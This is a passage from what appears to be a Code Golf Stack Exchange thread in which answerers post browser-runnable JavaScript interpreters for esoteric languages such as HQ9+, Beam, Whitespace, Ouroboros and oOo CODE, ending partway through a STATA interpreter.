<h3>Execution</h3> <pre id="execcode" class="code"></pre> <input type="button" id="run" value="Run" /> <input type="button" id="step" value="Step" /> <br> <h3>Debug</h3> <table> <tr> <th>Group Pointer</th> <td class="code" id="gp"></td> </tr> <tr> <th>Bit Pointer</th> <td class="code" id="bp"></td> </tr> <tr> <th>Current group</th> <td class="code" id="currgr"></td> </tr> </table> <h3>Output</h3> <pre id="output" class="code box"></pre> ``` [Answer] # HQ9+ Since Calvin's Hobbies even used HQ9+ as an example, I decided to write a quick implementation for it. Well, partial implementation, as I decided to leave out the accumulator (you may hate me for that). The interpreter is, let's say, partially golfed. I don't know why I sort of golfed it, but not really. ``` (function () { var bottles = (function beerMe(amount) { return "012, 01.\n3, 412.5".replace(/\d/g, function (c) { return [amount || "No more", " bottles of beer", " on the wall", amount ? "Take one down, pass it around" : "Go to the store and buy some more", ((amount || 100) - 1) || "no more", amount ? "\n\n" : ""][c]; }) + (amount ? beerMe(amount - 1) : ""); })(99); document.getElementById('run').onclick = function () { var source = document.getElementById('source').value, output = ''; source.split('').forEach(function (command) { var index = ['H', 'Q', '9'].indexOf(command); (index + 1 && (output += ['Hello, world!', source, bottles][index], !0)) || alert('illegal command: ' + command); }); document.getElementById('stdout').value = output; }; })(); ``` ``` #source, #stdout { display: block; width: 100%; } #stdout { white-space: pre; height: 50px; } #stdout, #run { margin-top: 3px; } ``` ``` <div> <input type="text" id="source" placeholder="Enter your HQ9+ program here" /> <textarea id="stdout" wrap="off" readonly></textarea> <input type="button" id="run" value="Execute HQ9+" /> </div> ``` [Answer] # [Beam](http://esolangs.org/wiki/Beam) I really think this language deserved to have an interpreter and it appeared simple enough for a non programmer like me to have a go at. I hope that I got it right. It appears to work for the examples I have tried. A lot of the code is plagiarized from other answers in this question. My apologies to the real programmers out there if I have committed any cardinal sins in my code:) I have put the 'Reverse STDIN' example in from the Esolangs page. ``` var ITERS_PER_SEC = 100000; var TIMEOUT_SECS = 50; var ERROR_INTERRUPT = "Interrupted by user"; var ERROR_TIMEOUT = "Maximum iterations exceeded"; var ERROR_LOSTINSPACE = "Beam is lost in space"; var code, store, beam, ip_x, ip_y, dir, input_ptr, mem; var input, timeout, width, iterations, running; function clear_output() { document.getElementById("output").value = ""; document.getElementById("stderr").innerHTML = ""; } function stop() { running = false; document.getElementById("run").disabled = false; document.getElementById("stop").disabled = true; document.getElementById("clear").disabled = false; document.getElementById("timeout").disabled = false; } function interrupt() { error(ERROR_INTERRUPT); } function error(msg) { document.getElementById("stderr").innerHTML = msg; stop(); } function run() { clear_output(); document.getElementById("run").disabled = true; document.getElementById("stop").disabled = false; document.getElementById("clear").disabled = true; document.getElementById("input").disabled = false; document.getElementById("timeout").disabled = false; code = document.getElementById("code").value; input = document.getElementById("input").value; timeout = document.getElementById("timeout").checked; code = code.split("\n"); width = 0; for (var i = 0; i < code.length; ++i){ if (code[i].length > width){ width = code[i].length; } } console.log(code); console.log(width); running = true; dir = 0; ip_x = 0; ip_y = 0; input_ptr = 0; beam = 0; store = 0; mem = []; input = input.split("").map(function (s) { return s.charCodeAt(0); }); iterations = 0; beam_iter(); } function beam_iter() { while (running) { var inst; try { inst = code[ip_y][ip_x]; } catch(err) { inst = ""; } switch (inst) { case ">": dir = 0; break; case "<": dir = 1; break; case "^": dir = 2; break; case "v": dir = 3; break; case "+": if(++beam > 255) beam = 0; break; case "-": if(--beam < 0) beam = 255; break; case "@": document.getElementById("output").value += String.fromCharCode(beam); break; case ":": document.getElementById("output").value += beam; break; case "/": dir ^= 2; break; case "\\": dir ^= 3; break; case "!": if (beam != 0) { dir ^= 1; } break; case "?": if (beam == 0) { dir ^= 1; } break; case "_": switch (dir) { case 2: dir = 3; break; case 3: dir = 2; break; } break; case "|": switch (dir) { case 0: dir = 1; break; case 1: dir = 0; break; } break; case "H": stop(); break; case "S": store = beam; break; case "L": beam = store; break; case "s": mem[beam] = store; break; case "g": store = mem[beam]; break; case "P": mem[store] = beam; break; case "p": beam = mem[store]; break; case "u": if (beam != store) { dir = 2; } break; case "n": if (beam != store) { dir = 3; } break; case "`": --store; break; case "'": ++store; break; case ")": if (store != 0) { dir = 1; } break; case "(": if (store != 0) { dir = 0; } break; case "r": if (input_ptr >= input.length) { beam = 0; } else { beam = input[input_ptr]; ++input_ptr; } break; } // Move instruction pointer switch (dir) { case 0: ip_x++; break; case 1: ip_x--; break; case 2: ip_y--; break; case 3: ip_y++; break; } if (running && (ip_x < 0 || ip_y < 0 || ip_x >= width || ip_y >= code.length)) { error(ERROR_LOSTINSPACE); } ++iterations; if (iterations > ITERS_PER_SEC * TIMEOUT_SECS) { error(ERROR_TIMEOUT); } } } ``` ``` <div style="font-size:12px;font-family:Verdana, Geneva, sans-serif;">Code: <br> <textarea id="code" rows="8" style="overflow:scroll;overflow-x:hidden;width:90%;">v (>``v ! H(p`@`p)H P H ' r ' P ! >^ </textarea> <br>Input: <br> <textarea id="input" rows="2" style="overflow:scroll;overflow-x:hidden;width:90%;">Reverse this string</textarea> <p>Timeout: <input id="timeout" type="checkbox" checked="checked">&nbsp; <br> <br> <input id="run" type="button" value="Run" onclick="run()"> <input id="stop" type="button" value="Stop" onclick="interrupt()" disabled="disabled"> <input id="clear" type="button" value="Clear" onclick="clear_output()">&nbsp; <span id="stderr" style="color:red"></span> </p>Output: <br> <textarea id="output" rows="6" style="overflow:scroll;width:90%;"></textarea> </div> ``` [Answer] # [K5](http://kparc.com) This is a thin, simple wrapper around my JavaScript based K implementation, [oK](https://github.com/JohnEarnest/ok), and references the github repo. I've already built a [much nicer](http://johnearnest.github.io/ok/index.html) browser-based frontend. oK implements a very substantial portion of K5, aside from IO, and has been used in the past to solve a number of problems here on stack overflow. The code isn't golfed, per se, but is well under 1000 lines including comments, the parser, all the primitive operations, the interpreter and the prettyprinter. ``` * { font-size:12px; font-family:Verdana, Geneva, sans-serif; } textarea { overflow:scroll; overflow-x:hidden; width:90%; font-family:Consolas, Courier New, monospace; font-size:10p } ``` ``` <script src="http://johnearnest.github.io/ok/oK.js"></script> <script> function runk() { var code = document.getElementById("code").value; var env = baseEnv(); var ret = run(parse(code), baseEnv()); document.getElementById("output").value = format(ret); } </script> Code: <br> <textarea id="code" rows="8">2*!10</textarea> <p><input id="run" type="button" value="Run" onclick="runk()"></p> Output: <br> <textarea id="output" rows="6" style="overflow:scroll;width:90%;"></textarea> ``` [Answer] # Whitespace ``` function interpret() { function num(sign, bits) { return sign * parseInt(bits.replace("S", "0").replace("T", "1"), 2); } var prog = document.getElementById("prog").value, esc = document.getElementById("esc").checked; if (!esc) prog = prog.replace(" ", "S").replace("\t", "T").replace("\n", "L"); prog = prog.replace(/[^STL]/g, ""); var stack = [], labels = {}, heap = [], input = document.getElementById("in").value, output = document.getElementById("out"), inPos = 0, callStack = []; for (var i = 0; i < prog.length; i++) { switch (prog[i]) { case "S": switch (prog[++i]) { case "S": stack.push(num(prog[++i] == "S" ? 1 : -1, prog.slice(++i, prog.indexOf("L", i) - 1))); i = prog.indexOf("L", i); break; case "T": switch (prog[++i]) { case "S": stack.push(stack[stack.length - num(prog[++i] == "S" ? 1 : -1, prog.slice(++i, prog.indexOf("L", i) - 1))]); i = prog.indexOf("L", i); break; case "L": var num = num(prog[++i] == "S" ? 1 : -1, prog.slice(++i, prog.indexOf("L", i) - 1)); i = prog.indexOf("L", i); stack.splice(stack.length - num - 1, num); break; } break; case "L": switch (prog[++i]) { case "S": stack.push(stack[stack.length - 1]); break; case "T": stack.push.apply(stack, stack.slice(-2).reverse()); break; case "L": stack.pop(); break; } break; } break; case "T": switch (prog[++i]) { case "S": switch (prog[++i]) { case "S": switch (prog[++i]) { case "S": stack.push(stack.pop() + stack.pop()); break; case "T": stack.push(stack.pop() - stack.pop()); break; case "L": stack.push(stack.pop() * stack.pop()); break; } break; case "T": switch (prog[++i]) { case "S": stack.push(Math.floor(stack.pop() / stack.pop())); break; case "T": stack.push(stack.pop() % stack.pop()); break; } break; } break; } break; case "T": switch (prog[++i]) { case "S": heap[stack[stack.length - 2]] = stack.pop(); stack.pop(); break; case "T": stack.push(heap[stack.pop()]); break; } break; case "L": switch (prog[++i]) { case "S": switch (prog[++i]) { case "S": output.value += String.fromCharCode(stack.pop()); break; case "T": output.value += stack.pop(); break; } break; case "T": switch (prog[++i]) { case "S": heap[stack.pop()] = input.charCodeAt(inPos++); break; case "T": heap[stack.pop()] = parseInt(input.slice(inPos, input.indexOf("\n", inPos) - 1)); break; } } break; case "L": switch (prog[++i]) { case "S": switch (prog[++i]) { case "S": labels[num(1, prog.slice(++i, prog.indexOf("L", i) - 1))] = i = prog.indexOf("L", i); break; case "T": callStack.push(prog.indexOf("L", ++i)); i = labels[num(1, prog.slice(i, prog.indexOf("L", i) - 1))]; break; case "L": i = labels[num(1, prog.slice(++i, prog.indexOf("L", i) - 1))]; break; } break; case "T": switch (prog[++i]) { case "S": if (stack.pop() == 0) i = labels[num(1, prog.slice(++i, prog.indexOf("L", i) - 1))]; else i = prog.indexOf("L", ++i); break; case "T": if (stack.pop() < 0) i = labels[num(1, prog.slice(++i, prog.indexOf("L", i) - 1))]; else i = prog.indexOf("L", ++i); break; } break; case "L": i = callStack.pop(); break; } break; case "L": if (prog[++i] == "L") return JSON.stringify(stack); break; } } return JSON.stringify(stack); } ``` ``` Program:<br/> <textarea id="prog" rows="4" cols="60"></textarea><br/> Input:<br/> <textarea id="in" rows="4" cols="60"></textarea><br/> <form> Is escaped as <code>STL</code>: <input id="esc" type="checkbox"/><br/> </form> <button onclick="document.getElementById('stack').innerText = interpret()">Interpret</button><br/> Output:<br/> <textarea id="out" rows="4" cols="60"></textarea><br/> Resulting stack: <span id="stack"/> ``` [Answer] # [Ouroboros](https://github.com/dloscutoff/Esolangs/tree/master/Ouroboros) An esoteric language created by me, DLosc, in October 2015. The execution model is based on each line of code being an [ouroboros snake](http://en.wikipedia.org/wiki/Ouroboros). Control proceeds from the head to the tail and loops back to the head; instructions allow the snake to swallow part of its tail or regurgitate what it has swallowed, thus changing the flow of execution. All snakes execute in parallel. Data is stored on a shared stack as well as an individual stack for each snake. For more information, sample programs, and the most up-to-date interpreter, see [the Github repository](https://github.com/dloscutoff/Esolangs/tree/master/Ouroboros). ``` // Define Stack class function Stack() { this.stack = []; this.length = 0; } Stack.prototype.push = function(item) { this.stack.push(item); this.length++; } Stack.prototype.pop = function() { var result = 0; if (this.length > 0) { result = this.stack.pop(); this.length--; } return result; } Stack.prototype.top = function() { var result = 0; if (this.length > 0) { result = this.stack[this.length - 1]; } return result; } Stack.prototype.toString = function() { return "" + this.stack; } // Define Snake class function Snake(code) { this.code = code; this.length = this.code.length; this.ip = 0; this.ownStack = new Stack(); this.currStack = this.ownStack; this.alive = true; this.wait = 0; this.partialString = this.partialNumber = null; } Snake.prototype.step = function() { if (!this.alive) { return null; } if (this.wait > 0) { this.wait--; return null; } var instruction = this.code.charAt(this.ip); var output = null; console.log("Executing instruction " + instruction); if (this.partialString !== null) { // We're in the middle of a double-quoted string if (instruction == '"') { // Close the string and push its character codes in reverse order for (var i = this.partialString.length - 1; i >= 0; i--) { this.currStack.push(this.partialString.charCodeAt(i)); } this.partialString = null; } else { this.partialString += instruction; } } else if (instruction == '"') { this.partialString = ""; } else if ("0" <= instruction && instruction <= "9") { if (this.partialNumber !== null) { this.partialNumber = this.partialNumber + instruction; // NB: concatenation! } else { this.partialNumber = instruction; } next = this.code.charAt((this.ip + 1) % this.length); if (next < "0" || "9" < next) { // Next instruction is non-numeric, so end number and push it this.currStack.push(+this.partialNumber); this.partialNumber = null; } } else if ("a" <= instruction && instruction <= "f") { // a-f push numbers 10 through 15 var value = instruction.charCodeAt(0) - 87; this.currStack.push(value); } else if (instruction == "$") { // Toggle the current stack if (this.currStack === this.ownStack) { this.currStack = this.program.sharedStack; } else { this.currStack = this.ownStack; } } else if (instruction == "s") { this.currStack = this.ownStack; } else if (instruction == "S") { this.currStack = this.program.sharedStack; } else if (instruction == "l") { this.currStack.push(this.ownStack.length); } else if (instruction == "L") { this.currStack.push(this.program.sharedStack.length); } else if (instruction == ".") { var item = this.currStack.pop(); this.currStack.push(item); this.currStack.push(item); } else if (instruction == "m") { var item = this.ownStack.pop(); this.program.sharedStack.push(item); } else if (instruction == "M") { var item = this.program.sharedStack.pop(); this.ownStack.push(item); } else if (instruction == "y") { var item = this.ownStack.top(); this.program.sharedStack.push(item); } else if (instruction == "Y") { var item = this.program.sharedStack.top(); this.ownStack.push(item); } else if (instruction == "\\") { var top = this.currStack.pop(); var next = this.currStack.pop() this.currStack.push(top); this.currStack.push(next); } else if (instruction == "@") { var c = this.currStack.pop(); var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(b); this.currStack.push(c); this.currStack.push(a); } else if (instruction == ";") { this.currStack.pop(); } else if (instruction == "+") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(a + b); } else if (instruction == "-") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(a - b); } else if (instruction == "*") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(a * b); } else if (instruction == "/") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(a / b); } else if (instruction == "%") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(a % b); } else if (instruction == "_") { this.currStack.push(-this.currStack.pop()); } else if (instruction == "I") { var value = this.currStack.pop(); if (value < 0) { this.currStack.push(Math.ceil(value)); } else { this.currStack.push(Math.floor(value)); } } else if (instruction == ">") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(+(a > b)); } else if (instruction == "<") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(+(a < b)); } else if (instruction == "=") { var b = this.currStack.pop(); var a = this.currStack.pop(); this.currStack.push(+(a == b)); } else if (instruction == "!") { this.currStack.push(+ !this.currStack.pop()); } else if (instruction == "?") { this.currStack.push(Math.random()); } else if (instruction == "n") { output = "" + this.currStack.pop(); } else if (instruction == "o") { output = String.fromCharCode(this.currStack.pop()); } else if (instruction == "r") { var input = this.program.io.getNumber(); this.currStack.push(input); } else if (instruction == "i") { var input = this.program.io.getChar(); this.currStack.push(input); } else if (instruction == "(") { this.length -= Math.floor(this.currStack.pop()); this.length = Math.max(this.length, 0); } else if (instruction == ")") { this.length += Math.floor(this.currStack.pop()); this.length = Math.min(this.length, this.code.length); } else if (instruction == "w") { this.wait = this.currStack.pop(); } // Any unrecognized character is a no-op if (this.ip >= this.length) { // We've swallowed the IP, so this snake dies this.alive = false; this.program.snakesLiving--; } else { // Increment IP and loop if appropriate this.ip = (this.ip + 1) % this.length; } return output; } Snake.prototype.getHighlightedCode = function() { var result = ""; for (var i = 0; i < this.code.length; i++) { if (i == this.length) { result += '<span class="swallowedCode">'; } if (i == this.ip) { if (this.wait > 0) { result += '<span class="nextActiveToken">'; } else { result += '<span class="activeToken">'; } result += escapeEntities(this.code.charAt(i)) + '</span>'; } else { result += escapeEntities(this.code.charAt(i)); } } if (this.length < this.code.length) { result += '</span>'; } return result; } // Define Program class function Program(source, speed, io) { this.sharedStack = new Stack(); this.snakes = source.split(/\r?\n/).map(function(snakeCode) { var snake = new Snake(snakeCode); snake.program = this; snake.sharedStack = this.sharedStack; return snake; }.bind(this)); this.snakesLiving = this.snakes.length; this.io = io; this.speed = speed || 10; this.halting = false; } Program.prototype.run = function() { this.step(); if (this.snakesLiving) { this.timeout = window.setTimeout(this.run.bind(this), 1000 / this.speed); } } Program.prototype.step = function() { for (var s = 0; s < this.snakes.length; s++) { var output = this.snakes[s].step(); if (output) { this.io.print(output); } } this.io.displaySource(this.snakes.map(function (snake) { return snake.getHighlightedCode(); }).join("<br>")); } Program.prototype.halt = function() { window.clearTimeout(this.timeout); } var ioFunctions = { print: function (item) { var stdout = document.getElementById('stdout'); stdout.value += "" + item; }, getChar: function () { if (inputData) { var inputChar = inputData[0]; inputData = inputData.slice(1); result = inputChar.charCodeAt(0); } else { result = -1; } var stdinDisplay = document.getElementById('stdin-display'); stdinDisplay.innerHTML = escapeEntities(inputData); return result; }, getNumber: function () { while (inputData && (inputData[0] < "0" || "9" < inputData[0])) { inputData = inputData.slice(1); } if (inputData) { var inputNumber = inputData.match(/\d+/)[0]; inputData = inputData.slice(inputNumber.length); result = +inputNumber; } else { result = -1; } var stdinDisplay = document.getElementById('stdin-display'); stdinDisplay.innerHTML = escapeEntities(inputData); return result; }, displaySource: function (formattedCode) { var sourceDisplay = document.getElementById('source-display'); sourceDisplay.innerHTML = formattedCode; } }; var program = null; var inputData = null; function showEditor() { var source = document.getElementById('source'), sourceDisplayWrapper = document.getElementById('source-display-wrapper'), stdin = document.getElementById('stdin'), stdinDisplayWrapper = document.getElementById('stdin-display-wrapper'); source.style.display = "block"; stdin.style.display = "block"; sourceDisplayWrapper.style.display = "none"; stdinDisplayWrapper.style.display = "none"; source.focus(); } function hideEditor() { var source = document.getElementById('source'), sourceDisplay = document.getElementById('source-display'), sourceDisplayWrapper = document.getElementById('source-display-wrapper'), stdin = document.getElementById('stdin'), stdinDisplay = document.getElementById('stdin-display'), stdinDisplayWrapper = document.getElementById('stdin-display-wrapper'); source.style.display = "none"; stdin.style.display = "none"; sourceDisplayWrapper.style.display = "block"; stdinDisplayWrapper.style.display = "block"; var sourceHeight = getComputedStyle(source).height, stdinHeight = getComputedStyle(stdin).height; sourceDisplayWrapper.style.minHeight = sourceHeight; sourceDisplayWrapper.style.maxHeight = sourceHeight; stdinDisplayWrapper.style.minHeight = stdinHeight; stdinDisplayWrapper.style.maxHeight = stdinHeight; sourceDisplay.textContent = source.value; stdinDisplay.textContent = stdin.value; } function escapeEntities(input) { return input.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;'); } function resetProgram() { var stdout = document.getElementById('stdout'); stdout.value = null; if (program !== null) { program.halt(); } program = null; inputData = null; showEditor(); } function initProgram() { var source = document.getElementById('source'), stepsPerSecond = document.getElementById('steps-per-second'), stdin = document.getElementById('stdin'); program = new Program(source.value, +stepsPerSecond.innerHTML, ioFunctions); hideEditor(); inputData = stdin.value; } function runBtnClick() { if (program === null || program.snakesLiving == 0) { resetProgram(); initProgram(); } else { program.halt(); var stepsPerSecond = document.getElementById('steps-per-second'); program.speed = +stepsPerSecond.innerHTML; } program.run(); } function stepBtnClick() { if (program === null) { initProgram(); } else { program.halt(); } program.step(); } function sourceDisplayClick() { resetProgram(); } ``` ``` .container { width: 100%; } .so-box { font-family:'Helvetica Neue', Arial, sans-serif; font-weight: bold; color: #fff; text-align: center; padding: .3em .7em; font-size: 1em; line-height: 1.1; border: 1px solid #c47b07; -webkit-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3), 0 2px 0 rgba(255, 255, 255, 0.15) inset; text-shadow: 0 0 2px rgba(0, 0, 0, 0.5); background: #f88912; box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3), 0 2px 0 rgba(255, 255, 255, 0.15) inset; } .control { display: inline-block; border-radius: 6px; float: left; margin-right: 25px; cursor: pointer; } .option { padding: 10px 20px; margin-right: 25px; float: left; } h1 { text-align: center; font-family: Georgia, 'Times New Roman', serif; } a { text-decoration: none; } input, textarea { box-sizing: border-box; } textarea { display: block; white-space: pre; overflow: auto; height: 100px; width: 100%; max-width: 100%; min-height: 25px; } span[contenteditable] { padding: 2px 6px; background: #cc7801; color: #fff; } #stdout-container, #stdin-container { height: auto; padding: 6px 0; } #reset { float: right; } #source-display-wrapper , #stdin-display-wrapper{ display: none; width: 100%; height: 100%; overflow: auto; border: 1px solid black; box-sizing: border-box; } #source-display , #stdin-display{ font-family: monospace; white-space: pre; padding: 2px; } .activeToken { background: #f93; } .nextActiveToken { background: #bbb; } .swallowedCode{ color: #999; } .clearfix:after { content:"."; display: block; height: 0; clear: both; visibility: hidden; } .clearfix { display: inline-block; } * html .clearfix { height: 1%; } .clearfix { display: block; } ``` ``` <!-- Designed and written 2015 by D. Loscutoff Much of the HTML and CSS was taken from this Befunge interpreter by Ingo Bürk: http://codegolf.stackexchange.com/a/40331/16766 --> <h1><a href="https://github.com/dloscutoff/Esolangs/tree/master/Ouroboros">Ouroboros</a></h1> <div class="container"> <textarea id="source" placeholder="Enter your program here" wrap="off"></textarea> <div id="source-display-wrapper" onclick="sourceDisplayClick()"> <div id="source-display"></div> </div> </div> <div id="stdin-container" class="container"> <textarea id="stdin" placeholder="Input" wrap="off"></textarea> <div id="stdin-display-wrapper" onclick="stdinDisplayClick()"> <div id="stdin-display"></div> </div> </div> <div id="controls-container" class="container clearfix"> <input type="button" id="run" class="control so-box" value="Run" onclick="runBtnClick()" /> <input type="button" id="pause" class="control so-box" value="Pause" onclick="program.halt()" /> <input type="button" id="step" class="control so-box" value="Step" onclick="stepBtnClick()" /> <input type="button" id="reset" class="control so-box" value="Reset" onclick="resetProgram()" /> </div> <div id="stdout-container" class="container"> <textarea id="stdout" placeholder="Output" wrap="off" readonly></textarea> </div> <div id="options-container" class="container"> <div class="option so-box">Steps per Second: <span id="steps-per-second" contenteditable>10</span> </div> </div> ``` ## Todo * Debug output: contents of stacks; ~~how much input is left~~ **done** * ~~During execution, display code with current instructions highlighted and swallowed portions of tails grayed-out~~ **done** [Answer] # [oOo CODE](http://esolangs.org/wiki/OOo_CODE) A very simple interpreter for oOo CODE (first time I use javascript). oOo CODE is an esoteric language based on brainfuck that uses uppercase and lowercase to store it's information, the actual text doesn't matter. As oOo CODE is based on brainfuck, I reused one of the brainfuck answers and added a function to translate oOo CODE to brainfuck. ``` var NUM_CELLS = 30000; var ITERS_PER_SEC = 100000; var TIMEOUT_MILLISECS = 5000; var ERROR_BRACKET = "Mismatched brackets"; var ERROR_TIMEOUT = "Timeout"; var ERROR_INTERRUPT = "Interrupted by user"; var code, input, wrap, timeout, eof, loop_stack, loop_map; var running, start_time, code_ptr, input_ptr, cell_ptr, cells, iterations; function clear_output() { document.getElementById("output").value = ""; document.getElementById("stderr").innerHTML = ""; } function stop() { running = false; document.getElementById("run").disabled = false; document.getElementById("stop").disabled = true; document.getElementById("clear").disabled = false; document.getElementById("wrap").disabled = false; document.getElementById("timeout").disabled = false; document.getElementById("eof").disabled = false; } function interrupt() { error(ERROR_INTERRUPT); } function error(msg) { document.getElementById("stderr").innerHTML = msg; stop(); } function oOoCODE(code){ code = code.match(/[a-z]/gi).join(''); code = code.match(/.../g); for (var i = 0; i<code.length; i++) { code[i] = [/[A-Z]/.test(code[i][0]),/[A-Z]/.test(code[i][1]),/[A-Z]/.test(code[i][2])]; if (code[i][0]) { if (code[i][1]) { if (code[i][2]) { code[i] = ","; } else { code[i] = "."; } } else { if (code[i][2]) { code[i] = "+"; } else { code[i] = "-"; } } } else { if (code[i][1]) { if (code[i][2]) { code[i] = "]"; } else { code[i] = "["; } } else { if (code[i][2]) { code[i] = ">"; } else { code[i] = "<"; } } } } return code.join(''); } function run() { clear_output(); document.getElementById("run").disabled = true; document.getElementById("stop").disabled = false; document.getElementById("clear").disabled = true; document.getElementById("wrap").disabled = true; document.getElementById("timeout").disabled = true; document.getElementById("eof").disabled = true; code = document.getElementById("code").value; input = document.getElementById("input").value; wrap = document.getElementById("wrap").value; timeout = document.getElementById("timeout").checked; eof = document.getElementById("eof").value; code = oOoCODE(code); loop_stack = []; loop_map = {}; for (var i = 0; i < code.length; ++i) { if (code[i] == "[") { loop_stack.push(i); } else if (code[i] == "]") { if (loop_stack.length == 0) { error(ERROR_BRACKET); return; } else { var last_bracket = loop_stack.pop(); loop_map[last_bracket] = i; loop_map[i] = last_bracket; } } } if (loop_stack.length > 0) { error(ERROR_BRACKET); return; } running = true; start_time = Date.now(); code_ptr = 0; input_ptr = 0; cell_ptr = Math.floor(NUM_CELLS / 2); cells = {}; iterations = 0; bf_iter(1); } function bf_iter(niters) { if (code_ptr >= code.length || !running) { stop(); return; } var iter_start_time = Date.now(); for (var i = 0; i < niters; ++i) { if (cells[cell_ptr] == undefined) { cells[cell_ptr] = 0; } switch (code[code_ptr]) { case "+": if ((wrap == "8" && cells[cell_ptr] == 255) || (wrap == "16" && cells[cell_ptr] == 65535) || (wrap == "32" && cells[cell_ptr] == 2147483647)) { cells[cell_ptr] = 0; } else { cells[cell_ptr]++; } break; case "-": if (cells[cell_ptr] == 0){ if (wrap == "8"){ cells[cell_ptr] = 255; } if (wrap == "16"){ cells[cell_ptr] = 65535; } if (wrap == "32"){ cells[cell_ptr] = 2147483647; } } else { cells[cell_ptr]--; } break; case "<": cell_ptr--; break; case ">": cell_ptr++; break; case ".": document.getElementById("output").value += String.fromCharCode(cells[cell_ptr]); break; case ",": if (input_ptr >= input.length) { if (eof != "nochange") { cells[cell_ptr] = parseInt(eof); } } else { cells[cell_ptr] = input.charCodeAt(input_ptr); input_ptr++; } break; case "[": if (cells[cell_ptr] == 0) { code_ptr = loop_map[code_ptr]; } break; case "]": if (cells[cell_ptr] != 0) { code_ptr = loop_map[code_ptr]; } break; } code_ptr++; iterations++; if (timeout && Date.now() - start_time > TIMEOUT_MILLISECS) { error(ERROR_TIMEOUT); return; } } setTimeout(function() { bf_iter(ITERS_PER_SEC * (Date.now() - iter_start_time)/1000) }, 0); } ``` ``` <div style="font-size:12px;font-family:Verdana, Geneva, sans-serif;"> <div style="float:left; width:50%;"> Code: <br> <textarea id="code" rows="4" style="overflow:scroll;overflow-x:hidden;width:90%;">JuLIeT O rOMeO, RoMEo! WHeREfOrE art tHoU RoMEo? DEnY ThY FaTHeR AnD ReFuse ThY NaME; oR, If ThoU wiLT not, BE but SWoRn mY loVe, aND i'Ll NO lONgER bE A cAPuLEt. ROMeO [AsIdE] ShALl I HEar moRE, or sHAlL I sPEaK At THiS? JuLIeT 'TiS BUt Thy NamE thAt iS my EneMy; tHou ARt ThYSeLF, tHOUgH noT a mOntAguE. whAt's MOnTagUe? iT is Nor HanD, noR foOt, nOR arm (...) </textarea> <br>Input: <br> <textarea id="input" rows="2" style="overflow:scroll;overflow-x:hidden;width:90%;"></textarea> <p> Wrap: <select id="wrap"> <option value="8">8-bit</option> <option value="16">16-bit</option> <option value="32">32-bit</option> </select> &nbsp; Timeout: <input id="timeout" type="checkbox" checked="true" />&nbsp; EOF: <select id="eof"> <option value="nochange">Same</option> <option value="0">0</option> <option value="-1">-1</option> </select> </p> </div> <div style="float:left; width:50%;"> Output: <br> <textarea id="output" rows="6" style="overflow:scroll;width:90%;"></textarea> <p> <input id="run" type="button" value="Run" onclick="run()" /> <input id="stop" type="button" value="Stop" onclick="interrupt()" disabled="true" /> <input id="clear" type="button" value="Clear" onclick="clear_output()" /> &nbsp; <span id="stderr" style="color:red"></span> </p> </div> </div> ``` [Answer] ## STATA Edit: added replace and checks for generate. Has support for some parts of display, forvalues, list, generate, and set obs. In addition, it has some supports for macro (STATA's variables) creation and use. It supports enough operations for some of the simpler answers that have been posted on this site, such as [Evolution of "Hello World!"](https://codegolf.stackexchange.com/questions/40376/evolution-of-hello-world/40406?s=4|0.2560#40406), [Generate the Stöhr sequence](https://codegolf.stackexchange.com/questions/44949/generate-the-st%c3%b6hr-sequence/44999?s=2|0.5123#44999), [Make me an alphabet tree](https://codegolf.stackexchange.com/questions/35862/make-me-an-alphabet-tree/35869?s=5|0.2288#35869) (replace single quotes with double quotes and make it 3 lines instead of 1). This is a work in progress, and I hope to continue it soon, but I figured I would at least put something here for now. ``` <html> <body> Input <textarea id="input"></textarea> <br/> Code <textarea id="code"></textarea> <br/> <button>Run</button> <br/>Output: <textarea id="output"></textarea> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script> <script type="text/javascript"> $(function(){ _N=0 dataset=[]; locals=[]; globals=[]; $output=$('#output'); $input=$('#input'); inputs=[]; commands=[]; comTable = []; comTable['di'] = 'display'; comTable['dis'] = 'display'; comTable['disp'] = 'display'; comTable['displ'] = 'display'; comTable['displa'] = 'display'; comTable['display'] = 'display'; comTable['loc'] = 'local'; comTable['loca'] = 'local'; comTable['local'] = 'local'; comTable['gl'] = 'global'; comTable['glo'] = 'global'; comTable['glob'] = 'global'; comTable['globa'] = 'global'; comTable['global'] = 'global'; comTable['set']='set'; comTable['g'] = 'generate'; comTable['ge'] = 'generate'; comTable['gen'] = 'generate'; comTable['gene'] = 'generate'; comTable['gener'] = 'generate'; comTable['genera'] = 'generate'; comTable['generat'] = 'generate'; comTable['generate'] = 'generate'; comTable['replace'] = 'replace'; comTable['l']='list'; comTable['li']='list'; comTable['lis']='list'; comTable['list']='list'; comTable['forv']='forvalues'; comTable['forva']='forvalues'; comTable['forval']='forvalues'; comTable['forvalu']='forvalues'; comTable['forvalue']='forvalues'; comTable['forvalues']='forvalues'; comTable['}']='No Operation'; opTable=[]; opTable['display']=[]; opTable['display']['_r']='_request'; opTable['display']['_re']='_request'; opTable['display']['_req']='_request'; opTable['display']['_requ']='_request'; opTable['display']['_reque']='_request'; opTable['display']['_reques']='_request'; opTable['display']['_request']='_request'; opTable['set']=[]; opTable['set']['ob']='obs'; opTable['set']['obs']='obs'; }); $('button').click(function () { _N=0 dataset=[]; inputNum=0; inputs=$input.val().split('\n'); $output.val(''); locals=[]; globals=[]; var code = $('#code').val(); commands = code.split('\n'); var tokens = []; commands.forEach(function (entry) { tokens.push(entry.match(/(?:[^\s"]+|"[^"]*")+/g) ); }); var error = ''; var nextIndex=0; $.each(tokens,function (index,entry) { if(nextIndex!==index){ return true; } var tok = entry[0]; entry[0] = comTable[tok]; if (entry[0] === undefined) { error = tok + ' is not a recognized command'; outputError(error); return false; } nextIndex+=execute(entry,index); if(!nextIndex){ return false; } }); }); function execute(command,ind){ switch(command[0]){ case 'display': return executeDisplay(command); case 'local': return executeLocal(command); case 'global': return executeGlobal(command); case 'set': return 